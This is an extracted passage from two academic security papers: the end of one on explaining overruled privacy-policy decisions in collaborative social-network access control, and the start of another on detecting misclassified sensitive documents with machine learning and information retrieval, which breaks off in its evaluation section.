labels but still assume all labellings are present.

The visibility restriction is used to trim a tree, removing those parts that
should not be visible to a user.

Definition 10. The trimming T (Δ) of a global policy tree Δ with element, vis-
ibility policy and visibility restriction (with respect a user u) labellings is given
by: if τ(k) > x then T (Δ[k]|ux) = (), otherwise T (pu′ |uUser ) = pu′ and

T (ca(Δ1〈e1, ·〉|ux1 , . . . , Δn〈en, ·〉|uxn
)|ux) = ca(T (Δ1|ux1�(x∧e1)

), . . . , T (Δn|uxn�(x∧en)))

where τ is a function that returns the type of a node. (Recall that visibility levels
are expressed in terms of node types.)

The user is restricted from seeing a node (and its children) if the visibility
is lower than the type of the node. Otherwise, the user can see the node and, if
the node is labeled with a combining algorithm, we trim its subtrees but with
updated visibility labels. If the user is internal to a subtree Δi, then its restriction
(of its root) xi is not ⊥ and it will be used as visibility in this subtree. If the
user is external to this subtree then both the current visibility restriction and
the external visibility of the subtree apply which is captured by restriction x∧ei.
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Example 5. As shown in Example 1, users C, G and SN had a policy mismatch.
The justification for the decision is as given in Example 4:

Δ = fa[t](odov[�](sm[DS](pA[A]:D, pB [B]:D, pD[D]:D)))

Suppose the visibility policy requirements are:

– The identity of data subjects are only visible to fellow data subjects.
– The social network can only see the end decision.

These requirements can be captured by setting external visibility of DS to
Archetype and internal visibility of SN to Decision. All other policies are set
to the most liberal setting: User .
User C: As C is local to archetype DS , within its visibility restriction, DS will
have a local visibility restriction label User :

Δ|C = fa[t](odov[�](sm[DS]〈Archetype, ·〉(pA[A]:D, pB [B]:D, pD[D]:D)|CUser )|CUser )|CUser

The presence of this local label prevents the sm[DS] external policy from begin
applied:

T (Δ|C) = fa[t](T (odov[�](sm[DS]〈Archetype, ·〉(pA[A]:D, pB [B]:D, pD [D]:D)|CUser )|CUser ))

= fa[t](odov[�](T (sm[DS](pA[A]:D, pB [B]:D, pD [D]:D)|CUser�Archetype)))

= fa[t](odov[�](T (sm[DS](pA[A]:D, pB [B]:D, pD [D]:D)|CUser )))
= fa[t](odov[�](sm[DS](pA[A]:D, pB [B]:D, pD [D]:D)))

Therefore, C is allowed to see the entire justification.
User G: User G’s visibility restriction initially allows seeing users:

Δ|G = fa[t](odov[�](sm[DS]〈Archetype, ·〉(pA[A]:D, pB [B]:D, pD[D]:D))|GUser )|GUser

However, being external to archetype DS causes the archetype’s external policy
to apply hiding the decisions of users A through E:

T (Δ|G) = fa[t](T (odov[�](sm[DS]〈Archetype, ·〉(pA[A]:D, pB [B]:D, pD[D]:D))|GUser ))
= fa[t](odov[�](T (sm[DS](pA[A]:D, pB [B]:D, pD[D]:D)|GArchetype)))
= fa[t](odov[�](sm[DS]:D))

User SN : The social network has visibility restriction label Decision:
Δ|SN = fa[t](odov[�](sm[DS]〈Archetype, ·〉(pA[A]:D, pB [B]:D, pD[D]:D)))|SNDecision

Therefore, SN will be allowed to see only the decision and an empty explanation:
T (Δ|SN ) = ()

4.3 Formulating Feedback

The feedback for a user computed by the visibility restricted evaluation path
technically captures the information available to that user. However, it still has
to be formulated in a way that it is understandable by end-users. This requires
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focusing on the relevant parts and customizing the feedback to reflects its place
in the archetype hierarchy in addition to translating the path into a human
readable format. In fact, although formal languages are very good to provide a
precise model, they are very bad at communicating such a model to end-users
who might not have a technical background [18].

In our example, the policy of each data subject provides an indication
whether the access should be granted to the requester while the node repre-
sented by archetype DS makes an actual decision (by counting votes, the nodes
above ‘simply pass up the decision’). We capture this notion of node making the
decision as the decision point.

Definition 11. Given a decision annotated evaluation path Δ, the decision
point of Δ, denoted dp(Δ), is the node in Δ where the final decision is made.
We call visible decision point for a user u the least ancestor of the decision point
that occurs in T (Δ|u).

The decision point for a decision annotated evaluation path is recursively com-
puted from the root node on the basis of the combining algorithms used and
the decision made. We present the intuition for some combining algorithms in
Table 2.

Table 2. Decision point for sample combining algorithms

dp(dov(Δ1, . . . , Δm)) =

{
dp(Δi) if Δi:D

dov otherwise

dp(ooa(Δ1, . . . , Δm)) =

{
dp(Δi) if (Δ:P and Δi:P) or (Δ:D and Δi:D)

ooa otherwise

dp(sm(Δ1, . . . , Δm)) = sm

Anything below the decision point should be included in the formulation of
the explanation as ‘real’ decisions are being made. It is worth noting that users
should be able to understand their positions relative to the decision point. In
particular, we assume a user knows how its policy fits in the policy hierarchy.
Thus, any ancestor node of a user policy should be recognizable by the user.
To ensure the explanation is formulated from a point that is recognizable by
the user, we start from one such ancestor node. In particular, we start from the
least node (as we would like explanations to only give relevant information) that
satisfies both properties above, i.e. that is an ancestor of the user policy and
decision point. We call this node the evaluation point.

Definition 12. The evaluation point (for a user u) is the least node that is an
upper bound of both the visible decision point and of policy node n[u].

Note that the least element is well defined as there always exists one (the root)
and the set of upper bounds of a node (the decision point) is totally ordered.
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We formulate the feedback starting from the evaluation point. We define
functions msgN , which gives the description of a given node, and msgT , which
gives the description of a subtree starting from its root node. We assume that
each basic element e has a string representation, which we denote by e.name.
For a node, the description expresses the decision reached:

msgN (n[e]:d) =

⎧
⎪⎪⎨

⎪⎪⎩

e.name denied if d = Deny
e.name permitted if d = Permit
e.name failed to reach a decision if d = Indeterminate
e.name did not apply if d = NA

This generic text can be customized by considering the type of element and com-
bining algorithms involved. For instance, we can state: “e.name voted to deny”
for a node sm[e]:D rather than the more generic “e.name denied”. (For reasons
of space, we do not list all customizations considered.)

For a tree we start with the description of the root node and recursively add
the explanation of its subtrees. Note that visibility constraints could theoretically
give a situation in which some but not all of the children are visible to the
user and the visible children do not constitute an explanation (according to
the combining algorithm) of the decision reached by the node. As showing this
‘incomplete explanation’ would be confusing to the user, they are not included
in the textual explanation in this case. Specifically:

msgT (n)=

⎧
⎪⎨

⎪⎩

msgN (n)+“because” if n1, . . . , nm visible children
+msgT (n1)+. . .+msgT (nm) of n explaining the decision

msgN (n) + “.” otherwise

Also here we can make customizations to further improve the readability of the
explanation. For example, for archetype node n[a]:d with children n1: d1, . . . ,
nm: dm, we can use short hand “(”+u1.name : d1+ “,” + ... +um.name : dm+ “)”
which simply lists the decisions of the user’s involved rather than using the generic
‘because’ format resulting in much more compact explanations.

With the description of a subtree in place, we can now define the textual
description given to the user, which captures the visible decision point (nd[x])
and evaluation point (ne), and a description of the subtree starting at ne:

msgU (nd[x], ne) = “The decision of”+ x.name +“was followed: ”+ msgT (ne)

As before we consider customizations that enhance specific (common) cases as
shown in Algorithm 1.

Example 6. Consider the justification computed in Example 5. The textual
explanation for the mismatch of user C is:

Your archetype DS voted to deny (A:Deny, B:Deny,D:Deny).
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Algorithm 1. msgU (nd[x], ne)
if nd[x] is (within) an archetype of the user then

“Your archetype” + msgT (ne)
else if nd[x] is (within) a level of the user then

“Your level” + msgT (ne)
else if nd[x] is (within) a level higher than any level containing the user then

“Your decision was overruled by x.name:” + msgT (ne)
else if nd[x] is (within) a level lower than some level containing the user then

“You failed to overrule the decision of x.name:” + msgT (ne).
else

”The decision of”+ x.name +”was followed:” + msgT (ne).

For user G the textual explanation is:

Your decision was overruled by DS: sub-hierarchy at level �1 denied because
DS voted to deny.

User G’s explanation contains both the decision of DS and an explanation of
how this decision overwrites his choice; this happens at the point where ‘sub-
hierarchy at level �1’ denies.

Finally, social network SN does not get an explanation, only the decision.

5 Related Work

Recent years have seen an increasing interest in access control for collaborative
systems and, in particular, for social networks. This interest has resulted in sev-
eral access control solutions (e.g., [3,9,26]) that aim to regulate the exchange
of information between collaborative users. These solutions are complementary
to our work as they consider different aspects of collaborations. Within these
solutions access decisions are usually made based on the interpersonal relation-
ships between the resource owner and the resource requester, while assuming
that resources are owned by a single entity. Moreover, these solutions only focus
on the specification and enforcement of access control policies for collabora-
tive systems and do not address the problem of transparency of access decision
making.

Some social networks provides basic functionality for transparency. For
instance, Linkedin allows its users to view their profile from the perspective of
their connections and their public profile. Similarly, FaceBook provides a “View
As” functionality that allows users to visualize their profile from another user’s
perspective. This functionality, however, can provide users with a misleading
feeling of control over their information [7].

The detection of policy conflicts is largely addressed in the area of formal
policy analysis. For instance, change-impact analysis [8] aims to extract the dif-
ferences between two policies. Backes et al. [2] propose a notion of policy refine-
ment in which a policy refines another policy if, whenever the latter returns
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Permit (or Deny), the first policy returns the same decision. Hughes and Bul-
tan [14] present a stronger notion of policy refinement called policy subsump-
tion. In addition to impose constrains on Permit and Deny decisions as in policy
refinement, subsumption also imposes constraints on the Indeterminate decision.
Turkmen et al. [28] propose a formal framework for policy analysis based on
SMT. This framework allows the verification of XACML policies against a num-
ber of well-known security properties including change-impact, policy refinement
and subsumption. These frameworks, however, aims to support policy authors in
the definition of their policies and are not suitable for run-time analysis. More-
over, they only indicate if two policies are conflicting (possibly along with a
counterexample indicating the conflict), but do not provide a justification for
the conflict.

A few proposals address the problem of transparency in collaborative systems
by providing feedback about policy conflicts to the entities governing the data.
For instance, Hu et al. [13] present an authorization analysis tool for exam-
ining over-sharing and under-sharing of shared resources in social networks.
Mahahmudlu et al. [20] proposes a notification mechanism that determines at run
time the type of conflicts that occurred (e.g., DenyButPermit, PermitButDeny).
In particular, users can declare the type(s) of conflicts they are interested in
and only be notified about those conflicts. Although these solutions make a first
step towards user awareness, the feedback provided to users only indicates if
their policies have been overridden. This work makes a step further by providing
users with an explanation of why their policies have been overruled.

KNOW [17] and Cue [10] provide feedback suggesting a requester possible
alternatives to access the data (e.g., changing role). Similarly to our work, feed-
back is protected through the use of meta policies, thus ensuring that a desired
level of confidentiality is preserved. However, the goal of these frameworks is
orthogonal to our work. While KNOW and Cue aim to inform users why their
access requests have not been granted, we aim to explain users why their policies
have been overridden.

6 Conclusion

This paper presented an approach to enhance user understanding in the access
decision making process when policy mismatches occur. In particular, we pro-
posed an approach to compute justifications explaining users why their decisions
were overruled. To determine at which granularity a user can see the justification,
we use visibility restrictions that indicate the portion of the justification visible
to the user based on its place in the archetype hierarchy and visibility policies.
We also showed how the feedback can be formulated in a human readable for-
mat, focusing on the relevant parts and customizing the feedback to reflect the
relations of the user with the data.

As future work, we plan to integrate the feedback mechanism proposed in this
work into existing XACML-based authorization solutions. This requires extract-
ing the decision annotated evaluation path from an XACML response. We envi-
sion this can be done by exploiting the <ReturnPolicyIdList> element, which is



Collaborative Access Decisions: Why Has My Decision Not Been Enforced? 129

used to request an XACML policy decision point to return the list of applicable
policies and policysets that were used to obtain the decision [23]. Users policies
can be sensitive and, thus, not all users may be allowed to see the full explana-
tion of the decision. In this work, we addressed this problem by restricting the
visibility of the feedback disclosed to users, depending on their relation with the
data and visibility policies. However, also access requests, which eventually have
to be disclosed along with the feedback, might provide insights into the policies
of other users. Moreover, one might consider requests themselves to be ‘sensi-
tive’ (for privacy) irrespective of what they reveal about the policies. Thus, it is
desirable to give only a minimal amount of attributes that reveals the mismatch
rather than the actual request. To this end, we plan to extend visibility restric-
tions to access requests, thus preventing a user to learn information that policy
authors may wish to not reveal as well as to protect requester’s privacy as much
as possible. In this work we demonstrated the feedback mechanism through a
typical scenario in FaceBook-like social networks. User studies to evaluate its
impact on user awareness is left as future work.
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Abstract. Loss of sensitive data is a common problem with potentially
severe consequences. By categorizing documents according to their sen-
sitivity, security controls can be performed based on this classification.
However, errors in the classification process may effectively result in
information leakage. While automated classification techniques can be
used to mitigate this risk, little work has been done to evaluate the
effectiveness of such techniques when sensitive content has been trans-
formed (e.g., a document can be summarized, rewritten, or have para-
graphs copy-pasted into a new one). To better handle these more diffi-
cult data leaks, this paper proposes the use of controlled environments
to detect misclassification. By monitoring the incoming information flow,
the documents imported into a controlled environment can be used to
better determine the sensitivity of the document(s) created within the
same environment. Our evaluation results show that this approach, using
techniques from machine learning and information retrieval, provides
improved detection of incorrectly classified documents that have been
subject to more complex data transformations.

1 Introduction

Organizations and companies are handling increasing amounts of digital sensitive
information, such as personal (e.g., health) data, military classified documents,
trade secrets, and so forth. It is critical that such sensitive data is not leaked to
unauthorized parties.

Many vendors offer data loss prevention (DLP) solutions that automatically
monitor the storage, network, and users to detect and prevent such leakages
[19,25]. Among the mechanisms employed by these solutions, data classification,
where data objects are labelled according to their sensitivity, is recognized as an
important enabler to improve their effectiveness [27]. Furthermore, given correct
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classification, data can be protected using appropriate access control and other
security controls.

For instance, in a military or governmental context, a correct security label
forms the basis for conducting information flow control using a so called guard
(e.g., [12]), that ensures that only data allowed by policy (e.g., non-sensitive
data) is released to external parties. If a Confidential domain and an Unclassi-
fied domain are connected, the guard will typically be configured to only allow
data marked with a security label of Unclassified to pass from the Confidential
domain to the Unclassified domain. While there may be additional security clas-
sifications (e.g., Restricted and Secret), the main concern to prevent data loss in
such a scenario is to be able to detect when a document is incorrectly claimed
to be releasable (i.e., Unclassified in this case).

Since security decisions are based on the classification specified by a data
object’s security label, it is crucial that data objects are classified correctly. How-
ever, human users or applications may mislabel data by mistake. Furthermore, an
insider, or malware, could intentionally mislabel data to bypass security controls.
For this reason, it is important to be able to validate the classification specified
by users/applications, in order to detect mistakes and exfiltration attempts.

In this paper we explore the use of automated methods, based on machine
learning (ML) and information retrieval (IR), to detect misclassification that
could result in data loss. Text classification for DLP purposes has usually been
based on techniques like fingerprinting of documents, keyword matching, and
regular expressions, but more recently methods like ML and IR have been recog-
nized as important for automated classification of unstructured documents [27].
However, little research is to be found on the subject [2,7,13,14,18]. A common
trait of these previous works is that the classifier or index is based on a set
of documents with well-known classification, either intended to include all the
sensitive documents to be protected or a subset of documents used as a training
set. It may be noted that it is necessary to assume a set of correctly classified
documents which can be used as the base to estimate the correctness of new clas-
sifications. However, the noise in such a large generic set of index documents may
result in misclassification, especially if new documents have been generated using
content from sensitive sources, but where this content has been re-phrased, sum-
marized or modified in other ways. Apart from recent work based on sequence
alignment techniques [26], intended solely for detecting inadvertent data leaks,
there is little previous research on detection of modified/transformed data leaks,
the most relevant being the use of synonym substitution (spinning) [2].

In order to improve the classification accuracy also in these situations, we
propose a controlled environment where all imported documents are dynamically
monitored. The collected information constitutes the basis for classification of
new documents created within the environment itself. The intuition is that in
order to generate a new document, various sources are usually accessed and
consulted, and the resulting work will share some common traits with such ref-
erences. Also, if one wants to leak out a sensitive document, it would have to
be imported first, and therefore be among the indexed ones. Compared to the
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usual approach where one classifier based on all sensitive documents available
in a company (or a generic subset thereof) is used to classify any outgoing doc-
ument, our results show that a classifier built dynamically for each controlled
environment provides improved accuracy especially for the more difficult content
transformations. While this is a surprising result given that more data generally
provides higher accuracy, it illustrates that determining sensitive content is much
more context dependent than for instance topic categorization. Also, we assume
that any sensitive content can be traced back to the imported documents. Fur-
thermore we study how different algorithms from both ML and IR performs in
different controlled environments by varying the amount of imported documents,
i.e., the noise in the training set/index, and by generating modified outputs that
share a variable amount of information with the imported documents, both in
quality and quantity. While we find that the classification accuracy of ML and
IR algorithms is only moderately affected by document spinning, we find that
there are other types of modifications (e.g., summarisation and mixing of con-
tent) that have a more severe effect on classification accuracy. To our knowledge
the effect of these more difficult modifications has not been previously studied in
the context of ML and IR for DLP. Our results show that the use of controlled
environments improve detection of these less obvious data leaks.

For our tests we use documents from the U.S. Digital National Security
Archive (DNSA) [1] and reports from our own institution for validation. While
previous work has performed experiments using tens or hundreds of leaked clas-
sified documents (WikiLeaks, DynCorp and TM1) and public documents from
sources such as Wikipedia, the Enron email dataset and various online PC mag-
azines [2,14], and a smaller subset of the DNSA documents [7], we believe the
work presented here constitutes the first study of transformed data leak detection
based on such a large number of actual classified documents (i.e., thousands).

The rest of this paper is organized as follows. Section 2 describes the proposed
solution, including the controlled environment, classification approaches, and
deployment options. Section 3 describes the methodology used to evaluate the
proposed solution, including: the corpora used as datasets and the methods used
to simulate the generation of new documents. Section 4 presents the evaluation
results; Sect. 5 provides a presentation of related work; and Sect. 6 provides some
final conclusions and summarises the main contributions of the paper.

2 Proposed Solution

We introduce a controlled environment as an environment where we have control
on all imported documents and their classification. The set of imported known
documents is defined as input, and any new generated document(s) is defined as
output. We assume that the classification (i.e., sensitivity) of the input documents
are known, e.g., through existing cryptographically signed security labels.

A controlled environment could for instance be a single computer, a virtual
machine, a network/security domain, or an isolated process/application. Our
1 Transcendental meditation.



134 K.W. Kongsg̊ard et al.

Fig. 1. (a) Usually, a classifier used in DLP is trained on all available documents (b)
With a controlled environment, only the documents of known classification accessed
from the environment are used to train the classifier, which in turn is used to classify
documents generated within the environment. Multiple controlled environments can
exist simultaneously, each characterized by its own input and output.

proposed solution inspects the information flow to the controlled environment
as shown in Fig. 1b, and estimates the classification of output documents based
on the information about the input documents. This is contrary to the traditional
approach where a larger generic index/training set is used to classify any output
document, as illustrated in Fig. 1.

Our guiding hypothesis is that by limiting the set of input documents to those
relevant to an output document, thereby reducing the noise in the classification
process, we can more accurately estimate the classification of output documents.

While there are different ways to implement controlled environments, our
hypotheses suggests that the more tightly enclosed environments such as a vir-
tual machine or isolated process have potential for better accuracy than the
more loosely enclosed environments such as a network domain. As will be seen
in Sect. 3, this is supported by our evaluation results. To fully take advantage
of this, a controlled environment may be instantiated for a specific task (e.g.,
the writing of a single output document), thereby clearing all state (i.e., input)

Fig. 2. Illustration of how the proposed solution can be deployed on a separation kernel.
The solid arrows represent the allowed communication channels while the dotted arrow
indicates a control channel to restart the partition of the controlled environment (i.e.,
removing all input).
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between tasks/instantiations. We refer to this as an instantiated controlled envi-
ronment.

In the following two subsections we present first how the classification of
output documents is performed and then discuss the different deployment alter-
natives.

2.1 Classification Methods

To construct the classifier we use two approaches: one based on machine learning
algorithms and one relying on information retrieval techniques (see Sect. 3.3 for
additional details). In the case of machine learning, the input documents are
used as the training set for the classifier, which is then used to determine the
classification of the output document(s) directly. In the information retrieval
approach, we build an index of all the input documents and their associated
classification, so that we can query it to obtain a list of the input documents
matching the output one(s), ranked by a similarity score. This list is then used
to determine the more likely classification of the output.

2.2 Deployment

A controlled environment may in principle be any computing environment where
the incoming information flow can be monitored. A monitoring mechanism simi-
lar to a guard, inspecting data at the application level, can be applied to control
the information flow to a network/security domain, a virtual machine, a com-
puter, a process, or some isolated container such as a sandbox or Docker instance.
Cloud computing, with its extensive use of virtual machines, may also facilitate
controlled environments.

Figure 2 shows a possible deployment of the proposed solution using a sepa-
ration kernel. A separation kernel is a minimalistic type 1 hypervisor, running
directly on the computer hardware, providing high assurance in the isolation
between partitions (virtual machines) and controlled communication channels.
As can be seen, monitoring of input and classification of output is performed
within a separate partition, while the controlled user/application environment
resides within another partition. The separation kernel ensures that all commu-
nication (e.g., documents from a file server) to/from the controlled environment
has to pass through the monitoring and classification solution. The separation
kernel can also be configured to allow the monitoring and classification partition
to restart the controlled environment partition in order to clear its input state.

2.3 Applicable Scope

Unlike the work in [7,13], we do not aim to construct a classifier that is able
to universally distinguish between what the government or some other organi-
zation considers to be classified and unclassified information; instead, we want
to discover if sensitive information from a particular set of documents has been
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included (possibly in modified form) into a new document. Thus, the proposed
method is not intended to be able to detect misclassification of output doc-
uments where the user has included sensitive content accessed through other
channels (e.g., a second computer system or a paper document). Although this
could potentially be addressed by combining our approach with those discussed
in [7,13], this is not pursued here.

Evasion and Poisoning. There are multiple ways to influence the machine
learning classifier. By carefully choosing what to import, the training set can
potentially be shaped in such a way that the algorithm later misclassifies a
document containing sensitive content that the user wants to exfiltrate. This is
an example of what is referred to in the literature as a Causative attack [4] in
which the training set is intentionally poisoned. The Reject On Negative Impact
(RONI) defense technique addresses this by modifying the learning process to
dynamically discount those data points in the training set that have a significant
negative impact on the performance [4]. Usage of procedures from the field of
Robust Statistics has also shown to partially remedy the poisoning issue [4].
Also, performing a causative attack to exfiltrate larger amounts of data would
likely result in detectable anomalies in the import patterns.

The IR approaches are not as susceptible to the Causative class of attacks
because: (1) there is no training phase involved and (2) the presence of a classified
document with a similarity score greater than the threshold value (see Sect. 3.3)
will result in assigning the strictest label, e.g., “Classified”, to the document.
Both the ML and IR methods remain vulnerable to the fact that if a highly skilled
attacker has knowledge of the training set and hypothesis space, then he can
shape the contents of the output document such as to stealthily avoid detection.
This is known as an Exploratory Attack, in which the attacker does not influence
the training phase [4]. This is a generic challenge in data loss detection, where
this work advance compared to most previous work only considering unmodified
data leaks.

The possibility of a skilled attacker evading the detection mechanism under-
lines why detection of malicious insider data leakage is considered a challenging
research problem (e.g., [26]), and why said detection methods need to be deployed
in combination with other countermeasures. As a controlled environment main-
tains control of the documents imported into the environment, we plan as further
work to investigate how this information can be used to determine the risk an
environment poses with regard to information leakage and to identify potential
insiders. Also, it should be kept in mind that much of the data leakage by inter-
nal actors is due to accident (i.e., half of the serious incidents according to a
recent study [15]).

3 Evaluation Methodology

In order to evaluate the effectiveness of the proposed solution, we needed to
perform experiments using documents of known classification. As information
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from a sensitive document may leak by being included in a new document,
we wanted to evaluate how modifications and introduction of external noise in
output documents affect performance. We therefore introduced several methods
to create new output documents based on manipulation of input documents and
inclusion of external noise. This is further described in Sect. 3.1.

As the aforementioned approach does not accurately reflect how a document
would be generated by a real user, we also use a second approach to validate
our results. Using this approach we did not generate new output documents
based on input documents (and noise), as in the first approach. Instead we used
another set of documents with known classification as output documents, and
used each of these document’s reference list as an approximation of the input
documents accessed during its creation. This latter approach is further described
in Sect. 3.2.

Section 3.3 briefly describes the machine learning and information retrieval
algorithms used as classifiers in the evaluation.

3.1 Evaluation Approach 1

Here we present the first dataset and describe each of the document transforma-
tions that are used to generate the output documents.

DNSA Dataset. The U.S. Digital National Security Archive contains the most
comprehensive collection of declassified U.S. government documents available to
the public [1]. From this repository we extracted three subcollections:

1. (Af)ghanistan: The Making of U.S. Policy, 1973–1990 ;
2. (Ch)ina and the United States: From Hostility to Engagement 1960–1998 and
3. The (Ph)ilippines: U.S. Policy during the Marcos Years, 1965–1986.

These were chosen because they contained a mix of both classified and unclas-
sified documents from unrelated domains and from partially overlapping time
periods.

Out of the 5853 retrieved documents, 1612 were dismissed because they
had gone through a declassification process. The “PublicUse” (3 docs) and
“Restricted” (1 doc) documents were removed due to their limited numbers. All
documents marked either as “Unknown” (620) or “LimitedOfficial” (685) were
removed. Documents that consisted of less than 30 words were also excluded.
Post-filtering, the final data set consisted of 2884 documents. These documents
were then partitoned into two categories depending on their original label. The
1117 documents marked “Unclassified” or “Non-Classified” were assigned the
label Unclassified. While the remaining 1767 documents marked either “Confi-
dential” or “Secret” were assigned the label Classified. In the final dataset, 525
out of the 883 documents belonging to the AF subset, 661 out of the 959 CH
documents, and 610 out of the 1042 PH documents were labeled as Classified.

The final data set was divided into the Input (used as input documents) and
the Noise datasets. The Noise dataset was used to introduce external noise into
output documents.
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For each PDF file we utilized the 3rd party OCR service Abbyy2 to extract
the textual contents. Any non-English words, i.e., artifacts of the OCR process,
were then filtered out as part of a pre-processing phase as were any variations of
tokens of the type Secret, Unclassified etc., as their inclusion would potentially
result in the classifiers yielding artificially good results, that effectively would
only determine the security classification based on the absence or presence of
such words.

Output Generation. We create new output documents the following ways:

1. Existing Documents: In this case an existing document from the DNSA
dataset is used unmodified.

2. Mixed Documents: In this case we randomly sample sentences from two
documents of different classification, with each document contributing 50 %
of the output document. We take one document from the Input set and the
other from the Noise set. The resulting document is then assigned the highest
security classification of the two documents used in the mixing, the rationale
being that the introduction of a single classified sentence or keyword into a
unclassified document would imply that the correct security classification of
the resulting document would be classified.

3. Rewritten Documents: A document can be rewritten while still being
semantically identical to the original, and should thus retain it’s security label.
We implement this by fitting a n-gram language model [17] for each document,
and then use these probability distributions to generate new documents that
contain semantically similar content. The correct security classification of the
output document is assumed to be the same as that of the original document.

4. Abstract: For each document in the corpus there is an accompanying short
abstract (not included as input) which we take as a condensed version of the
document. The correct security label of the condensed document is assumed
to be the same as that of the full document.

5. Spinner: An article spinner is a tool used in search engine optimization to
generate documents for content farms and to circumvent plagiarism detection
algorithms in general. It works by rewriting an article by replacing words,
phrases and paragraphs with synonyms. We used the online commercial tool
“Spin Rewriter 6.0”3. As this is proprietary software the exact algorithm used
to “spin” documents is not known.

6. Translation: Using the online service Google Translate4 we introduce noise
into the document by performing a sequence of translation steps. In our exper-
iments we utilize the translations steps: English → Simplified Chinese →
English.

The “Exisiting”, “Translation” and “Synonym” (“Spinner”) transformation
methods have also been used in the CLEF 2014 plagarism dection challenge [24].
2 http://www.abbyy.com/.
3 https://www.spinrewriter.com/.
4 https://cloud.google.com/translate/docs.

http://www.abbyy.com/
https://www.spinrewriter.com/
https://cloud.google.com/translate/docs
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It should be noted that “Abstract” is the most realistic transformation as it uses
real abstracts created by human editors.

3.2 Evaluation Approach 2

Here we present the second dataset used and then briefly describe how input
documents were obtained based on the reference list of each output document
in the dataset. As mentioned earlier, the intent behind introducing this second
set of data and accompanying experiments is to further ensure that the results
of the first approach is not attributed to the artificial way we generate output
documents.

Private Dataset. This dataset was based on an internal repository of technical
reports at the Norwegian Defence Research Establishment (FFI). We collected a
document set of 10 classified and 10 unclassified documents, to be used as output
documents. The reference lists of these documents consisted of a mixture of both
classified and unclassified reports, notes, and conference papers. The number of
references per document ranged from 5 to 17, with a total set of 166 references
(used as input documents).

For each document and its references we extracted the textual contents and
then pre-processed the resulting text using the same procedure as for the first
dataset, but with additional word filters customized to remove location and
domain specific tokens that identifies the security label. For each of the docu-
ments we also removed the list of references from the text.

Input Generation. As mentioned, this approach approximates the set of input
documents by using the documents in the reference list of the output document
instead. In this case the correct security classification of the output document is
assumed to be the one stated on the original (output) document. Likewise, the
security classification of an input document is also the one originally indicated
on the document itself.

3.3 Algorithms

In this section we introduce the information retrieval and machine learning algo-
rithms utilized in the experiments. For each algorithm, we performed 5-fold
cross-validation and a grid-search to find the optimal configuration of tunable
parameters.

Information Retrieval. In the field of information retrieval, a collection of
indexed documents can be searched by computing the similarity between the
documents and a query string. In the context of controlled environments, the
similarity for each output/input pair can be used to detect if parts of the output
document originates from the input document.

Each output document comes attached with the user’s assigned label, and it
is only interesting to run the detection routine for instances where this label may
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result in the document being released/leaked, i.e., Unclassified in our dataset.
The following three-step algorithm computes the predicted security label:

1. Compute the similarity between the output document and each of the input
documents.

2. Take the label of the input documents whose score is the highest as a tentative
label.

3. If the tentative label is Unclassified ; we test whether the best Classified match
has a higher score than some threshold θ. If this is the case: the final label is
taken to be Classified. Otherwise we proceed with the tentative label.

The implementations provided by open-source search engine ElasticSearch
[11] and the Python package gensim [22] were used for the experiments. As
there are a number of different retrieval and scoring methods, we perform initial
experiments with algorithms belonging to each of the four families:

1. TF-IDF/VSM: In the tf-idf vector-space model (VSM), the cosine similarity
between the term frequency inverse-document (tf-idf) vector representations
of a document and the query term is computed (refer to Sect. 3.3). This model
is typically used as a baseline ranking method [3].

2. BM25: Okapi BM25 is a probabilistic algorithm built on top of the TF-IDF
method and has been empirically shown to outperform the regular TF-IDF
method in many experiments [23].

3. LMJelinekMercerSimilarity: A method that uses a statistical language
model, e.g., a multinomial distribution over a sequence of one or more words,
to represent each document in the collection [21]. Ranking is then performed
by computing the likelihood of a document generating a query. This particular
implementation uses Bayesian smoothing with Dirichlet priors [28].

4. IB: A family of information based retrieval models that builds on the core
idea that a words’ statistical behaviour differs on the document and collection
level [9].

Machine Learning. Machine learning aided text classification builds on the
ability of the underlying algorithm to correctly learn the essential features that
characterize a certain category of documents from a set of given examples, i.e.,
the training set, so that it can automatically classify new documents in the right
category among those it learned.

While the goal of the traditional machine learning classification task is to
train a classifier that is able to handle out-of-sample data points, e.g., tasks
such as the real-time detection of pedestrians, malicious binaries or OCR, there
is a strong overlap between the in-sample and out-of-sample data points in our
setting, as we assume that information in the input documents (used for training)
are used to generate the output documents. Under these conditions one can argue
that a certain degree of overfitting is not only unharmful but in fact beneficial.

All fitting was performed using the open-source Python machine-learning library
scikit-learn [20].
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Features. For features we compute the tf-idf weights, and represent each docu-
ment by a high-dimensional sparse vector x, whose xi entry is the tf-idf weight of
the word (token) associated with dimension i. For example, a document denoted
by d containing the words ‘man’, ‘missile’ and ‘aide’ would be transformed into
the vector:

xd =
[
man

xd,1

missile

xd,2 . . .
aide

xd,N

]

(1)

where N is the vocabulary size, with the word aide being mapped to the last
dimension. The entries xd,t are the tf-idf weights defined as5

xd,t =
√

ft,d
︸ ︷︷ ︸

tf

×
(

1 + log
|D|

1 + |{d ∈ D : t ∈ d}|
)

︸ ︷︷ ︸
idf

(2)

where fd,t denotes the frequency of term t in document d and D the set of all
documents.

We performed experiments using the RandomForest [6], Adaboost [28], SVM
[5] and logistic regression [5] packages implemented in sklearn [20]. However, we
only discuss the linear SVM multiclass algorithm in further detail as it yielded the
best performance. It works by searching for linear functions (one for each class)
whose score for the correct class (e.g., Secret) is at least 1 higher than the other
classes (e.g.,. Unclassified, Top Secret, Classified). This idea is mathematically
expressed by the non-convex minimization problem:

minWL(W) =
1
M

∑

i

∑

j �=yik

max(0,wT
j xi − wT

yi
xi + 1)

︸ ︷︷ ︸
data loss

+
λ

2
||W||2

︸ ︷︷ ︸
l2 regularization loss

(3)

Because there is an inbalance between the classes in the dataset, which is a
situation one must expect to handle in a real-life deployment, we experimented
with the use of a pre-training reweighting mechanism where:

y∗
i =

M

|C| × |{y ∈ Y : y = yi}| (4)

with |C| and M denoting the number of classes and samples respectively. This
has the effect of automatically adjusting the weights proportional to the inverse
class frequencies.

4 Evaluation Results

We here first provide evaluation results from using the DNSA dataset (evaluation
approach 1), and then additional validation results using the private dataset
(evaluation approach 2).
5 It should be noted that there exists a great number of heuristic variations of the tf

and idf formulas.
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4.1 Evaluation Approach 1

The training and indexing is performed on the DNSA dataset, which is also
used to generate the sets of output documents described in Sect. 3.1. In order
to verify whether a controlled environment improves the detection of content
from a classified input document being embedded in some transformed way in
an output document, we set up the following experimental set-up with three
types of classifiers:

1. Global: First we create a global classifier trained on all available documents
from the DNSA dataset. This constitutes the baseline accuracy achieved by
traditional ML and IR methods, where more information is supposed to give
better results.

2. Domain specific classifiers: Then we create three more context-sensitive
classifiers, where only documents pertaining one of the three subcollections
AF, CH and PH are used for training/indexing. This is done as a first veri-
